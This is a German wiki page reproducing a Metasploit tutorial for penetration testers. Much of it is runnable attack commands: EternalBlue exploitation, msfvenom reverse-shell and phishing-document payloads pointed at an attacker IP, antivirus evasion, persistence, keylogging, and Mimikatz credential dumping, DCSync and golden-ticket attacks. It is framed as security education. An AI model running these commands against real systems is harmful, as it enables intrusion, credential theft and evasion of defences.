Metasploit Einführung

Aus Xinux Wiki
Version vom 11. Mai 2026, 05:36 Uhr von Thomas.will (Diskussion | Beiträge)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

Metasploit – Vollständiger Leitfaden zur Cybersicherheit

Quelle: The Cyber Bite – Metasploit Complete Cyber Security Guide


Kapitel 1: Einführung in Metasploit

Metasploit ist das weltweit am weitesten verbreitete Open-Source-Framework für Penetrationstests. Es wurde 2003 von H.D. Moore entwickelt und 2009 von Rapid7 übernommen. Es bietet eine vollständige Umgebung zur Entwicklung, zum Testen und zur Ausführung von Exploits gegen entfernte Zielsysteme. Mit Tausenden von Modulen für Exploits, Payloads, Encoder und Auxiliaries ist Metasploit das De-facto-Standardwerkzeug im Bereich Offensive Security.

Architekturübersicht

Komponente Beschreibung
msfconsole Primäre interaktive Kommandozeilen-Schnittstelle des Frameworks
Module Wiederverwendbare Code-Bausteine: Exploits, Payloads, Auxiliaries, Encoder, NOPs, Evasion
Datenbank (PostgreSQL) Speichert Hosts, Dienste, Schwachstellen, Beute und Sitzungsdaten
msfvenom Eigenständiges Tool zur Payload-Generierung und Kodierung
Listeners / Handler Empfangen von Reverse Shells und Meterpreter-Sitzungen
Workspaces Verschiedene Engagements in separaten Datenbank-Namespaces organisieren
Rex Library Kern-Ruby-Bibliothek für Sockets, Protokolle, Kodierung und mehr

Rechtlicher und ethischer Hinweis

Vorlage:Warnung


Kapitel 2: Installation & Einrichtung

Metasploit ist auf Kali Linux und Parrot OS vorinstalliert. Auf anderen Systemen muss es manuell installiert werden. Für den vollen Funktionsumfang ist eine PostgreSQL-Datenbank erforderlich.

Kali Linux (empfohlen – vorinstalliert)

# Aktualisieren und starten – Metasploit ist auf Kali vorinstalliert
sudo apt update && sudo apt upgrade -y
sudo msfdb init        # PostgreSQL-Datenbank initialisieren
msfconsole             # Metasploit starten

Ubuntu / Debian Installation

# Metasploit auf Ubuntu/Debian installieren
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfinstall > msfinstall
chmod 755 msfinstall
sudo ./msfinstall
sudo msfdb init
msfconsole

Datenbank-Einrichtung & Überprüfung

msf6 > db_status                    # Datenbankverbindung prüfen
msf6 > workspace                    # Alle Workspaces auflisten
msf6 > workspace -a pentest         # Neuen Workspace 'pentest' anlegen
msf6 > workspace pentest            # Zum Workspace 'pentest' wechseln

Vorlage:Tipp


Kapitel 3: Metasploit Console (msfconsole)

msfconsole ist die primäre Schnittstelle für alle Metasploit-Operationen. Sie bietet eine leistungsstarke Befehlsshell mit Tab-Vervollständigung, Verlauf und Zugriff auf jedes Modul im Framework.

Wichtige msfconsole-Befehle

Befehl Beschreibung
help / ? Hilfemenü anzeigen oder Hilfe zu einem bestimmten Befehl
search <Begriff> Alle Module nach Name, CVE, Plattform oder Typ durchsuchen
use <Modul> Ein Modul auswählen
info Detaillierte Informationen zum ausgewählten Modul anzeigen
show options Konfigurierbare Optionen des aktuellen Moduls anzeigen
show payloads Kompatible Payloads für den aktuellen Exploit auflisten
set <OPTION> <Wert> Einen Moduloptionswert setzen
setg <OPTION> <Wert> Eine globale Option setzen (bleibt modulübergreifend erhalten)
run / exploit Das ausgewählte Modul ausführen
sessions Alle aktiven Sitzungen auflisten
sessions -i <id> Mit einer bestimmten Sitzung interagieren
back Aktuellen Modulkontext verlassen
exit msfconsole beenden

Schnellnavigation

msf6 > search type:exploit platform:windows cve:2021   # Gefilterte Suche
msf6 > use exploit/windows/smb/ms17_010_eternalblue    # EternalBlue laden
msf6 > show options                                    # Pflichtoptionen anzeigen
msf6 > set RHOSTS 192.168.1.100                        # Ziel-IP setzen
msf6 > set LHOST 192.168.1.10                          # Angreifer-IP setzen
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp # Payload wählen
msf6 > run                                             # Exploit starten

Vorlage:Tipp


Kapitel 4: Module im Detail

Metasploit-Module sind die Bausteine jeder Operation. Das Verständnis jedes Modultyps ist für effektives Penetrationstesting unerlässlich.

Modultypen

Modultyp Beschreibung
exploit Code, der eine Schwachstelle ausnutzt, um einen Payload auszuführen
payload Code, der nach erfolgreicher Ausnutzung auf dem Ziel läuft
auxiliary Scanner, Fuzzer, Brute-Force-Tools und andere unterstützende Module
post Post-Exploitation-Module, die innerhalb einer aktiven Sitzung laufen
encoder Verschleiert Payloads zur Umgehung von Antivirus und IDS/IPS
nop No-Operation-Sleds für Shellcode-Stabilität
evasion Erzeugt ausführbare Dateien, die Sicherheitsprodukte umgehen

Payload-Typen

Payload-Typ Beschreibung
singles In sich geschlossener Payload – erledigt alles in einem Block
stagers Kleiner Payload, der eine Verbindung aufbaut und dann Stages nachlädt
stages Wird vom Stager nachgeladen – vollständige Meterpreter-Shell, VNC usw.
inline (non-staged) Kein "/" im Namen, z.B. windows/meterpreter_reverse_tcp
staged Hat "/" als Trennzeichen, z.B. windows/meterpreter/reverse_tcp
reverse_tcp Ziel verbindet sich zurück zum Angreifer – umgeht Firewalls
bind_tcp Angreifer verbindet sich zum Ziel – nützlich in eingeschränkten Netzwerken

Modulpfad-Konvention

# Modulpfad-Format:
# <typ>/<plattform>/<dienst>/<modulname>

# Beispiele:
exploit/windows/smb/ms17_010_eternalblue
auxiliary/scanner/smb/smb_version
post/windows/gather/hashdump
payload/windows/x64/meterpreter/reverse_tcp

Kapitel 5: Scanning & Reconnaissance

Vor der Exploitation ist gründliche Aufklärung entscheidend. Metasploit lässt sich direkt mit Nmap integrieren und bietet eine eigene Suite von Scanner-Modulen für Port-Scanning, Diensterkennung und OS-Fingerprinting.

Datenbankintegriertes Nmap-Scanning

# Nmap-Ergebnisse direkt in die Metasploit-Datenbank importieren
msf6 > db_nmap -sV -sC -O 192.168.1.0/24
msf6 > db_nmap -p 1-65535 -sV --open 10.10.10.0/24

# Gefundene Hosts und Dienste einsehen
msf6 > hosts                  # Alle gefundenen Hosts auflisten
msf6 > services               # Alle offenen Dienste auflisten
msf6 > services -p 445        # Nach Port filtern
msf6 > hosts -R               # RHOSTS auf alle gefundenen Hosts setzen

Integrierte Scanner-Module

Modul Beschreibung
auxiliary/scanner/portscan/tcp TCP-Port-Scanner – schnell und zuverlässig
auxiliary/scanner/smb/smb_version SMB-Version und OS-Informationen erkennen
auxiliary/scanner/http/http_version Webserver-Typ und -Version identifizieren
auxiliary/scanner/ssh/ssh_version SSH-Server-Versionen fingerprinting
auxiliary/scanner/ftp/ftp_version FTP-Server-Banner identifizieren
auxiliary/scanner/rdp/rdp_scanner Offene RDP-Dienste (Port 3389) erkennen
auxiliary/scanner/vnc/vnc_login VNC-Dienste scannen und Zugangsdaten testen
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set RHOSTS 192.168.1.0/24
msf6 > set THREADS 50
msf6 > run

Vorlage:Tipp


Kapitel 6: Schwachstellenforschung

Nach der Aufklärung ist der nächste Schritt die Identifizierung vorhandener Schwachstellen auf den Zielsystemen. Metasploit bietet leistungsstarke Suchfunktionen und Integration mit externen Schwachstellendatenbanken.

Module suchen

msf6 > search ms17-010                              # Nach Name suchen
msf6 > search cve:2021-44228                        # Nach CVE suchen (Log4Shell)
msf6 > search type:exploit platform:linux           # Nach Typ und Plattform filtern
msf6 > search rank:excellent                        # Nur excellent-bewertete Exploits
msf6 > search name:eternalblue                     # Nach Exploit-Name suchen
msf6 > info exploit/windows/smb/ms17_010_eternalblue # Vollständige Moduldetails

Modul-Bewertungssystem

Bewertung Bedeutung
ExcellentRanking Wird den Dienst nicht zum Absturz bringen; sehr zuverlässig
GreatRanking Zuverlässig mit guten Standardoptionen
GoodRanking Funktioniert in gängigen Szenarien
NormalRanking Funktioniert, kann aber spezifische Bedingungen erfordern
AverageRanking Schwer zuverlässig einzusetzen
LowRanking Nahezu keine Erfolgswahrscheinlichkeit
ManualRanking Erfordert manuelle Schritte; für DoS-Exploits verwendet

Integration von Schwachstellenscannern

# Nessus / OpenVAS Scan-Ergebnisse importieren
msf6 > db_import /pfad/zu/nessus_report.xml
msf6 > db_import /pfad/zu/openvas_report.xml

# Nach dem Import Schwachstellen einsehen
msf6 > vulns              # Alle bekannten Schwachstellen auflisten
msf6 > vulns -p 445       # Schwachstellen nach Port filtern

Kapitel 7: Exploitation – Grundlagen

Exploitation ist die Kernkompetenz in der Offensive Security. Metasploit vereinfacht diesen Prozess und gibt Sicherheitsfachleuten gleichzeitig die vollständige Kontrolle über jeden Parameter des Angriffs.

Standard-Exploitations-Workflow

Schritt Beschreibung
Schritt 1 Passendes Exploit-Modul mit "search" und "use" suchen und auswählen
Schritt 2 Moduloptionen mit "show options" und "info" prüfen
Schritt 3 Pflichtoptionen setzen: RHOSTS (Ziel), LHOST (Angreifer), LPORT (Listener-Port)
Schritt 4 Passenden Payload mit "set PAYLOAD" oder "show payloads" auswählen
Schritt 5 Alle Einstellungen mit "show options" prüfen, dann mit "run" oder "exploit" ausführen
Schritt 6 Bei Erfolg öffnet sich eine Sitzung – mit "sessions -i <id>" interagieren

EternalBlue (MS17-010) – Klassisches Beispiel

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set LHOST 192.168.1.10
msf6 > set LPORT 4444
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > show options        # Prüfen ob alles korrekt konfiguriert ist
msf6 > run

# Erfolgreiche Ausgabe:
# [*] Started reverse TCP handler on 192.168.1.10:4444
# [+] 192.168.1.100:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# [*] Meterpreter session 1 opened

Vorlage:Warnung


Kapitel 8: Meterpreter – Fortgeschrittene Nutzung

Meterpreter (Meta-Interpreter) ist ein fortschrittlicher, dynamisch erweiterbarer Payload, der vollständig im Arbeitsspeicher läuft, keine Dateien auf der Festplatte hinterlässt und über verschlüsselte Kanäle kommuniziert. Es ist das leistungsstärkste Post-Exploitation-Tool im Metasploit-Framework.

Wichtige Meterpreter-Befehle

Befehl Beschreibung
sysinfo Systeminformationen des Ziels anzeigen
getuid Aktuelle Benutzeridentität anzeigen
getpid Meterpreter-Prozess-ID anzeigen
ps Laufende Prozesse auf dem Ziel auflisten
migrate <PID> Zu einem anderen Prozess migrieren (Stabilität/Tarnung)
shell In eine native OS-Befehlsshell wechseln
upload <Datei> Eine Datei auf das Ziel hochladen
download <Datei> Eine Datei vom Ziel herunterladen
ls / dir Dateien im aktuellen Verzeichnis auflisten
cd <Pfad> Verzeichnis wechseln
pwd Aktuelles Arbeitsverzeichnis ausgeben
hashdump Windows-Passwort-Hashes dumpen (erfordert SYSTEM)
screenshot Screenshot des Ziel-Desktops aufnehmen
keyscan_start Keylogger auf dem Ziel starten
keyscan_dump Aufgezeichnete Tastatureingaben ausgeben
run post/<Modul> Ein Post-Exploitation-Modul ausführen

Meterpreter-Sitzung – Typischer Workflow

meterpreter > sysinfo      # Ziel-OS und Architektur identifizieren
meterpreter > getuid       # Aktuelles Berechtigungsniveau prüfen
meterpreter > getsystem    # Automatische Privilegienerweiterung versuchen
meterpreter > getuid       # Berechtigungen nach Eskalation bestätigen

meterpreter > ps                          # Prozesse auflisten
meterpreter > migrate 1234                # Zu stabilem/verdecktem Prozess migrieren
meterpreter > hashdump                    # NTLM-Passwort-Hashes dumpen
meterpreter > run post/multi/recon/local_exploit_suggester  # Lokale Exploits finden
meterpreter > background                  # Sitzung in den Hintergrund senden

Kapitel 9: Post-Exploitation

Post-Exploitation umfasst alles, was nach dem initialen Zugriff passiert – Privilegienerweiterung, Persistenz, laterale Bewegung, Credential Harvesting und Datenexfiltration. Metasploit enthält Hunderte von Post-Modulen.

Privilegienerweiterung

meterpreter > getsystem                                    # Alle automatischen PrivEsc-Techniken versuchen
meterpreter > run post/multi/recon/local_exploit_suggester # Lokale Exploits finden
meterpreter > run post/windows/escalate/getsystem          # Windows-spezifisch
meterpreter > background

# Lokalen Exploit für manuelle PrivEsc verwenden
msf6 > use exploit/windows/local/bypassuac_eventvwr
msf6 > set SESSION 1
msf6 > run

Persistenz-Mechanismen

# Persistenz über Registry Run Key (Windows)
meterpreter > run post/windows/manage/persistence_exe STARTUP=REGISTRY

# Persistenz über geplante Aufgabe
meterpreter > run post/windows/manage/persistence STARTUP=SCHEDULER

# Linux Cron-basierte Persistenz
meterpreter > run post/linux/manage/cron_persistence

Credential Harvesting

Modul Beschreibung
post/windows/gather/hashdump Lokale SAM-Datenbank NTLM-Hashes dumpen
post/windows/gather/credentials/credential_collector Gespeicherte Zugangsdaten sammeln
post/multi/gather/ssh_creds SSH-Private-Keys und bekannte Hosts sammeln
post/windows/gather/smart_hashdump Domänen-fähiges intelligentes Hash-Dumping
post/windows/gather/lsa_secrets LSA-Secrets dumpen (gecachte Passwörter)
post/multi/gather/env Umgebungsvariablen sammeln (können Secrets enthalten)

Vorlage:Tipp


Kapitel 10: Payloads & msfvenom

msfvenom ist das eigenständige Payload-Generierungstool, das die älteren Tools msfpayload und msfencode ersetzt hat. Es erstellt benutzerdefinierten Shellcode, ausführbare Dateien, Skripte und kodierte Payloads für die Übertragung an Zielsysteme.

msfvenom – Wichtige Befehle

# Alle verfügbaren Payloads auflisten
msfvenom --list payloads

# Windows Reverse-TCP-Executable generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe -o shell.exe

# Linux ELF-Binary generieren
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f elf -o shell.elf

# PHP Web Shell generieren
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw -o shell.php

# Python-Payload generieren
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw -o shell.py

# Android APK generieren
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 -o malicious.apk

Listener einrichten

msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run -j    # -j startet den Handler als Hintergrund-Job

Vorlage:Tipp


Kapitel 11: Auxiliary-Module

Auxiliary-Module sind unterstützende Werkzeuge für Scanning, Brute-Force, Fuzzing und andere Aufgaben, die keine direkte Exploitation umfassen.

Wichtige Auxiliary-Module

Modul Beschreibung
auxiliary/scanner/portscan/tcp TCP-Port-Scanner
auxiliary/scanner/smb/smb_ms17_010 EternalBlue-Scanner-Version
auxiliary/scanner/http/dir_scanner Verzeichnisse und Dateien auf Webservern brute-forcen
auxiliary/scanner/ftp/ftp_login FTP-Zugangsdaten brute-forcen
auxiliary/scanner/ssh/ssh_login SSH-Zugangsdaten brute-forcen
auxiliary/scanner/smb/smb_login SMB-Zugangsdaten brute-forcen

Kapitel 12: Evasion & Obfuskation

Moderne Sicherheitsprodukte – Antivirus, EDR und IDS/IPS – erkennen Metasploit-Payloads aktiv. Das Verständnis von Evasionstechniken ist für realistische Penetrationstests und Red-Team-Operationen unerlässlich.

Payloads mit msfvenom kodieren

# Verfügbare Encoder auflisten
msfvenom --list encoders

# Mit shikata_ga_nai kodieren (polymorphes XOR-Additive-Feedback)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 -f exe -o encoded_shell.exe

# Mehrschichtige Kodierung
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o multi.exe

# Rohen Shellcode für benutzerdefinierte Injektion generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -f c > shellcode.c

Evasion-Modul

msf6 > use evasion/windows/windows_defender_exe
msf6 > set FILENAME evil.exe
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run

Vorlage:Hinweis


Kapitel 13: Pivoting & laterale Bewegung

Pivoting ermöglicht es einem Angreifer, einen kompromittierten Host als Relais zu nutzen, um andere Systeme in einem ansonsten nicht erreichbaren Netzwerksegment anzugreifen. Metasploit unterstützt nativ das Routing von Traffic durch aktive Sitzungen.

Routen über eine Sitzung hinzufügen

# Nach Erhalt einer Meterpreter-Sitzung auf 192.168.1.100
msf6 > route add 10.10.10.0/24 1     # 10.x-Traffic durch Sitzung 1 routen
msf6 > route print                   # Routing-Tabelle überprüfen

# Internes Netzwerk über den Pivot scannen
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 10.10.10.0/24
msf6 > set PORTS 22,80,443,445,3389
msf6 > run

SOCKS-Proxy für Tool-Pivoting

msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j

# /etc/proxychains4.conf konfigurieren:
# socks5  127.0.0.1  1080

# Nun proxychains mit beliebigem Tool verwenden
# proxychains nmap -sT -Pn 10.10.10.50
# proxychains ssh user@10.10.10.50

Port-Forwarding

# Lokalen Port 8080 auf internen Dienst 10.10.10.50:80 weiterleiten
meterpreter > portfwd add -l 8080 -p 80 -r 10.10.10.50
meterpreter > portfwd list           # Aktive Port-Weiterleitungen anzeigen
meterpreter > portfwd delete -l 8080 # Weiterleitung entfernen

Kapitel 14: Reporting & Automatisierung

Professionelle Penetrationstester müssen jede Aktion und jeden Fund dokumentieren. Metasploit bietet integrierte Reporting-Funktionen und Ressourcen-Skripte zur Automatisierung.

Ressourcen-Skripte (Automatisierung)

# Ressourcen-Skript erstellen (wiederverwendbare Befehlsliste)
cat > quick_scan.rc << 'EOF'
workspace -a engagement_01
db_nmap -sV -sC -O 192.168.1.0/24
hosts
services
EOF

# Ressourcen-Skript ausführen
msfconsole -r quick_scan.rc

# Aktuelle Sitzungsbefehle als Ressourcen-Skript speichern
makerc /home/kali/session_commands.rc

Datenexport

# Workspace-Daten für Reporting exportieren
msf6 > db_export -f xml /home/kali/engagement_report.xml
msf6 > db_export -f pwdump /home/kali/hashes.txt

# Alle gespeicherten Daten einsehen
msf6 > hosts -o /tmp/hosts.csv        # Hosts als CSV exportieren
msf6 > services -o /tmp/services.csv  # Dienste als CSV exportieren
msf6 > vulns                          # Alle bekannten Schwachstellen anzeigen
msf6 > creds                          # Alle gesammelten Zugangsdaten anzeigen
msf6 > loot                           # Alle erbeuteten Dateien anzeigen
msf6 > notes                          # Alle Analysten-Notizen anzeigen

Vorlage:Tipp


Kapitel 15: Realer Pentest-Workflow

Ein professioneller Penetrationstest mit Metasploit folgt einer strukturierten Methodik. Dieses Kapitel beschreibt den vollständigen Lebenszyklus eines Metasploit-basierten externen und internen Netzwerk-Assessments.

Vollständiger Engagement-Workflow

Phase Beschreibung
Phase 1: Planung Scope definieren, Genehmigung einholen, isolierte Kali-VM aufsetzen, Datenbank initialisieren
Phase 2: Recon db_nmap-Scans durchführen, Schwachstellenscanner-Ergebnisse importieren, Dienste enumerieren
Phase 3: Research Metasploit nach relevanten Exploit-Modulen durchsuchen, CVE-Details und CVSS-Scores prüfen
Phase 4: Exploitation Ausnutzung identifizierter Schwachstellen versuchen, mit risikoärmsten Modulen beginnen
Phase 5: Post-Exploit Privilegien eskalieren, Zugangsdaten sammeln, Persistenz etablieren (falls im Scope)
Phase 6: Pivot Durch kompromittierte Hosts auf interne Netzwerksegmente zugreifen
Phase 7: Reporting Alle Daten exportieren, Funde mit Screenshots dokumentieren, Behebungsempfehlungen verfassen
Phase 8: Cleanup Alle Persistenzmechanismen, hochgeladene Dateien und Reverse Connections entfernen

Vorlage:Warnung


Kapitel 16: Metasploit mit Active Directory

Active-Directory-Umgebungen sind das häufigste Ziel bei modernen Enterprise-Penetrationstests. Metasploit enthält speziell für AD-Infrastruktur entwickelte Module und Werkzeuge wie Mimikatz via Meterpreter.

Wichtige Active-Directory-Angriffsmodule

Modul / Technik Beschreibung
post/windows/gather/smart_hashdump Domain-Controller-Hashes dumpen (erfordert DC-Sitzung)
auxiliary/scanner/smb/smb_ms17_010 EternalBlue auf Domain-joined Systems scannen
post/windows/gather/credentials/credential_collector Domain-Zugangsdaten aus dem Arbeitsspeicher sammeln
exploit/windows/smb/psexec Pass-the-Hash-Angriff via SMB mit NTLM-Hashes
exploit/windows/smb/psexec_psh PowerShell-basiertes PsExec zur AV-Umgehung
Kiwi-Erweiterung (Mimikatz) Klartextpasswörter aus dem LSASS-Speicher dumpen

Pass-the-Hash-Angriff

msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 192.168.1.200          # Ziel mit gleichem Hash
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.10
msf6 > run

Kiwi (Mimikatz) Erweiterung

meterpreter > load kiwi                              # Kiwi/Mimikatz-Erweiterung laden
meterpreter > creds_all                              # Alle Zugangsdaten aus LSASS dumpen
meterpreter > lsa_dump_secrets                       # LSA-Secrets dumpen
meterpreter > lsa_dump_sam                           # SAM-Datenbank dumpen
meterpreter > dcsync /user:Administrator             # DCSync-Angriff – Hash vom DC extrahieren
meterpreter > golden_ticket_create /user:backdoor /domain:corp.local /sid:S-1-5-... \
              /krbtgt:<hash> /id:500 /ticket:golden.tkt

Kapitel 17: Webanwendungsangriffe

Metasploit enthält zahlreiche Module für das Penetrationstesting von Webanwendungen. Während dedizierte Tools wie Burp Suite und OWASP ZAP umfassender sind, zeichnet sich Metasploit durch die Verkettung von Web-Schwachstellen mit Payload-Delivery aus.

Web-Scanning & Exploitation-Module

Modul Beschreibung
auxiliary/scanner/http/dir_scanner Verzeichnisse und Dateien auf Webservern brute-forcen
auxiliary/scanner/http/files_dir Dateien mit gängigen Erweiterungen enumerieren
auxiliary/scanner/http/http_put Auf aktivierte HTTP-PUT-Methode testen
exploit/multi/http/struts2_rest_xstream Apache Struts RCE via REST-Plugin
exploit/multi/http/tomcat_mgr_upload Tomcat Manager authentifizierte RCE
exploit/multi/http/wp_admin_shell_upload WordPress Admin Shell Upload
exploit/multi/http/joomla_http_header_rce Joomla RCE via HTTP-Header-Injection
auxiliary/scanner/http/coldfusion_locale_traversal ColdFusion Path Traversal

Web Shell via File Upload

# PHP-Web-Shell-Payload generieren
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f raw > shell.php

# Listener einrichten
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD php/meterpreter_reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > set LPORT 4444
msf6 > run -j

# shell.php über die Datei-Upload-Schwachstelle der Anwendung hochladen,
# dann im Browser aufrufen: http://ziel/uploads/shell.php

Kapitel 18: Wireless & Social Engineering

Metasploit lässt sich mit dem Social-Engineer Toolkit (SET) integrieren und enthält Module für clientseitige Angriffe. Diese werden bei Phishing-Kampagnen und physischen Sicherheitsbeurteilungen eingesetzt.

Browser-Exploitation

msf6 > use exploit/multi/browser/java_jre17_jmxbean
msf6 > set SRVHOST 0.0.0.0
msf6 > set URIPATH /
msf6 > set PAYLOAD java/meterpreter/reverse_tcp
msf6 > set LHOST 10.10.10.5
msf6 > run
# URL an das Ziel senden: http://10.10.10.5:8080/

Erstellung von Schadokumenten

# Makro-aktiviertes Word-Dokument generieren
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -f vba-exe > macro.vba

# HTA (HTML Application) Payload für Phishing generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -f hta-psh -o payload.hta

# PS1 PowerShell-Payload generieren
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.5 LPORT=4444 \
  -f ps1 -o payload.ps1

Vorlage:Warnung


Kapitel 19: Entwicklung eigener Module

Metasploit-Module werden in Ruby geschrieben. Die Erstellung eigener Module ermöglicht es Penetrationstestern, einzigartige Angriffstechniken zu automatisieren, neue Exploits vor ihrer öffentlichen Veröffentlichung zu integrieren und die Funktionalität für spezifische Engagements anzupassen.

Basis-Auxiliary-Modul-Template

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Custom TCP Banner Grabber',
      'Description' => 'Grabs service banners from open TCP ports',
      'Author'      => ['Dein Name'],
      'License'     => MSF_LICENSE
    ))
    register_options([Opt::RPORT(80)])
  end

  def run_host(ip)
    connect
    banner = sock.get_once
    print_good("#{ip}: #{banner.strip}") if banner
    disconnect
  end
end

Modul-Speicherorte

# Eigene Module hier ablegen (offizielle Modulverzeichnisse nicht verändern)
~/.msf4/modules/auxiliary/scanner/custom_module.rb
~/.msf4/modules/exploits/custom_exploit.rb

# Module in msfconsole nach Änderungen neu laden
msf6 > reload_all

Kapitel 20: Best Practices & Cheat Sheet

msfconsole Quick Reference

Befehl Aktion Beispiel
search Module suchen search cve:2021-44228
use Modul auswählen use exploit/windows/smb/ms17_010_eternalblue
info Moduldetails anzeigen info
show options Optionen anzeigen show options
set / setg Optionen setzen set RHOSTS 10.10.10.0/24
run / exploit Ausführen run
sessions -l Sitzungen auflisten sessions -l
sessions -i Sitzung interagieren sessions -i 1
sessions -k Sitzung beenden sessions -k 1
jobs -l Jobs auflisten jobs -l
db_nmap Nmap + DB db_nmap -sV 10.0.0.0/24
hosts Hosts anzeigen hosts -c address,os_name
services Dienste anzeigen services -p 445
creds Zugangsdaten anzeigen creds
loot Beute anzeigen loot

msfvenom Quick Reference

Parameter Beschreibung
-p <payload> Payload-Typ angeben
LHOST= LPORT= Listener-Host und -Port setzen
-f <format> Ausgabeformat: exe, elf, php, raw, c, py, hta-psh
-e <encoder> Kodierungsalgorithmus: x86/shikata_ga_nai
-i <count> Anzahl der Kodierungsiterationen
-b <chars> Zu vermeidende Zeichen im Shellcode
-o <datei> Ausgabedateipfad
--list payloads Alle verfügbaren Payloads auflisten
--list formats Alle Ausgabeformate auflisten

Operative Sicherheit – Professionelle Checkliste

  • Für jedes Engagement einen dedizierten Workspace verwenden
  • Spool-Logging zu Beginn jeder Sitzung aktivieren
  • HTTPS (reverse_https) Payloads verwenden, um sich in den normalen Traffic zu mischen
  • Sofort zu stabilen Prozessen migrieren (explorer.exe, svchost.exe)
  • Payloads in einem lokalen Lab testen, bevor sie in Produktionsengagements eingesetzt werden
  • Jeden Befehl, jeden Fund und jede ausgenutzte Schwachstelle dokumentieren
  • Nach dem Engagement alle Persistenz-Mechanismen, Shells und hochgeladene Dateien entfernen
  • Den definierten Scope niemals überschreiten – stoppen und eskalieren, wenn unerwarteter Zugriff erlangt wird

Vorlage:Tipp


Ende des Leitfadens – The Cyber Bite | @thecyberbite | Professional Cybersecurity Education